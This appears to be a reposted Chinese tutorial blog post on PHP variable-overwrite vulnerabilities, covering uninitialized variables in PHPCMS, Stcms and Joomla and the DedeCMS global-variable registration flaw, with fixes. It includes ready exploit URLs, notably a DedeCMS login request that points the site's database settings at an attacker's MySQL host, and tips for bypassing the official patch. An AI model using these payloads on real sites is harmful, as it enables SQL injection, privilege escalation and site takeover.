php之变量覆盖漏洞讲解
1.變量沒有初始化的問題(1):
wooyun連接1:[link href="WooYun: PHPCMS V9 member表內容隨意修改漏洞"]tenzy[/link]?
$updateinfo['password'] = $newpassword;里面的數組沒有初始化類似這樣的賦值,我們在挖洞的時候搜索類似updateinfo這樣的關鍵字看看?
是否初始化,如果沒有。。。且register_global=On支持?
可以提交?
updateinfo[amount]這樣的數組隨意修改自己的余額、點數、會員組、VIP等一切存放在member表的信息.?
修復:$updateinfo = array();
變量沒有初始化的問題(2):?
wooyun連接2:[link href="WooYun: Stcms的一個sql注射"]Zvall[/link]?
里面說明了繞過程序的防御,這個是導致注入的一個因素. 更多因素是因為where變量沒有初始化!?
case 'list':?
???
????$totalNum = $mysql->numTable("member", $where);
Where?沒初始化 導致可執行任意sql語句?
http://localhost/stcms_html/member/u.php?action=list&where={sql}
修復:在類調用前加上$where='';
我們在挖洞的時候搜索類似where這樣的關鍵字看,看看是否初始化.?
變量沒有初始化的問題(3):?
wooyun連接3: [link href="WooYun: joomla變量覆蓋導致注冊提權漏洞"]牛奶坦克[/link]?
// 這個地方獲取用戶注冊信息,POST進來的jform數組,但是沒有詳細指定?
$requestData = JRequest::getVar('jform', array(), 'post', 'array');?
$data = (array)$this->getData();?
// 遍歷出注冊信息?
foreach ($temp as $k => $v) {?
$data[$k] = $v;?
}
看似沒問題的可是二維數組的特性可以覆蓋住:?
jfrom[groups][]=7,利用foreach的問題覆蓋掉groups數組,變成7(Administrator)。?
修復:像wooyun連接1那樣$updateinfo['password'] = $newpassword類似這樣賦值。 或者檢查數組是否為二維。?
2.核心代碼配置問題引發變量覆蓋:?
Dedecms:例子(1):?
一. 了解PHP超級全局變量?
????????下面是PHP的超級全局變量,可以了解一個特性,全是數組。?
????????$GLOBALS, 所有全局變量數組?
????????$_SERVER, 服務器環境變量數組?
????????$_GET,通過GET方法傳遞給腳本的變量數組?
????????$_POST, 通過POST方法傳遞給腳本的變量數組?
????????$_COOKIE,cookie變量數組?
????????$_REQUEST,所有用戶輸入的變量數組,包括$_GET, $_POST和$_COOKIE所包含的輸入內容?
????????$_FILES,與文件上傳相關得變量數組?
????????$_ENV,環境變量數組?
????????$_SESSION,會話變量數組?
二:理解$_GET變量?
可以寫個PHP來看看:?
<?php?
????????var_dump($_GET);?
?????????>
訪問?
??????http://www.xxx.com /test.php?key=value
????????得到?
??????array(1) { ["key"]=> string(5) "value" }
????????OK,看到這里應該明白了,$_GET就是個數組,我們用GET方法可以傳一個數組。?
?????????
????????再訪問?
??????http://www.xxx.com /test.php?key[arr1]=value
????????得到?
??array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
????????我們通過GET方法傳入了一個嵌套數組。?
?????????
????????????????????????到這里其實問題就出來了,很多PHP安全資料都沒提過GET傳嵌套數組的這個特性,偶爾在幾個exploit里看到 - -!?
?????????????????????????
????????????????????????三. 深入跟進DEDECMS全局變量注冊漏洞?
?????????????????????????
????????????????????????真正理解了$_GET變量后,我們來深入跟進這個漏洞產生的真正原因,模擬一下漏洞的全過程:?
?????????????????????????
????????????????????????提交一個嵌套數組:?
??????????????????????????????????????????http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X?
?????????????????
????????????????????????????????????????????????????????????????????????array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>?
array(1) { ["cfg_dbname"]=> string(1) "X" } } }?????
?????????????????
?????????
?????????
????????????????????????假如數據傳入了DEDECMS程序,在第一層過濾,DEDECMS會檢查$_REQUEST里有沒有全局變量的關鍵字,但我們的KEY?
是_POST且是個數組,所以輕松繞過。?
????????????foreach($_REQUEST as $_k=>$_v)?
????????????????{?
????????????????if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )?
????????????????{?
????????????????????????exit('Request var not allow!');?
????????????????}?
????????????????}???
????????????????????????接著進入真正的注冊變量流程,按順序是先從$_GET變量注冊的,我們的KEY是(_POST),第一輪遍歷$_GET成功注冊?
了變量$_POST,第二輪遍歷$_POST成功注冊了變量$GLOBALS !?
????????????????????????????????????????????????foreach(Array('_GET','_POST','_COOKIE') as $_request)?
????????????????????????{?
????????????????????????foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);?
????????????????????????}
?????????
????????????????????????到這里漏洞的原因就清楚了,程序通過$_GET注冊了$_POST,通過$_POST注冊了$GLOBALS!?
?????????????????????????
?????????
????????????????????????四. 領悟漏洞后的修補?
?????????
????????????????????????完全領悟這個漏洞后,就會知道怎么修補了。?
?????????
????????????????????????1. 可以看看DISCUZ是怎么做的,當發現KEY的第一個字符存在_就不注冊變量。?
?????????????????????????
??????????????????foreach(array('_COOKIE', '_POST', '_GET') as $_request) {?
????????????????foreach($$_request as $_key => $_value) {?
??????????????????$_key{0} != '_' && $$_key = daddslashes($_value);?
????????????????}?
????????????????}
?????????????????????????
????????????????????????2. DEDECMS可以用下面的方法臨時修補,當遍歷$_POST注冊變量,發現變量名存在GLOBALS就會阻止注冊變量。?
????????foreach(Array('_GET','_POST','_COOKIE') as $_request)?
????????????????????????{?
???????????????????????????????? foreach($$_request as $_k => $_v) {?
????????????????????????????????????????????if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){?
????????????????????????????????????????????????????exit('Request var not allow!');?
?????????????????????????????????????????? }?
????????????????????????????????????????????${$_k} = _RunMagicQuotes($_v);?
????????????????????????????}?
????????????????????????}
例子exp:http://www.xx.com/織夢網站后臺/login.php?dopost=login&validate=dcug&userid=賬號&pwd=密碼& _POST[GLOBALS]?
[cfg_dbhost]=MYSQL外鏈IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的賬號&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密碼& _POST[GLOBALS]?
[cfg_dbname]=自己的dedecms的數據庫
Dedecms:例子(2): 突破官網補丁(雞助)?
0x5sec?
為什么超全局變量$_REQUEST沒有讀取到$_COOKIE的參數呢?這個是php 5.3以后php.ini默認設置?
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST應該就可以接受到參數了!?
所以如果php是大于5.3的,變量覆蓋漏洞應該可以再次利用!?
CheckRequest($_REQUEST);?? //這里檢查變量是否合法 漏洞缺陷!$_COOKIE的參數根本不鳥他。。。?
更多連接:https://forum.90sec.org/thread-2476-1-1.html?
https://forum.90sec.org/thread-2468-1-1.html?
3.Yaseng php變量覆蓋實例:?
Yaseng?介紹得很詳細了,各種突破.?
對于Dedecms例子2中:有部分人說& _POST[0xHEX 16進制][cfg_dbhost] //GLOBALS這樣能繞過? 本人測試多次不成功,可能是某些問題,也可能?
是假的.?
原文地址:http://zone.wooyun.org/content/1872
轉載于:https://www.cnblogs.com/milantgh/p/4087957.html
總結
以上是生活随笔為你收集整理的php之变量覆盖漏洞讲解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: fgets()与gets()的区别
- 下一篇: 人口问题,怎样的生育率才能保持正常的世代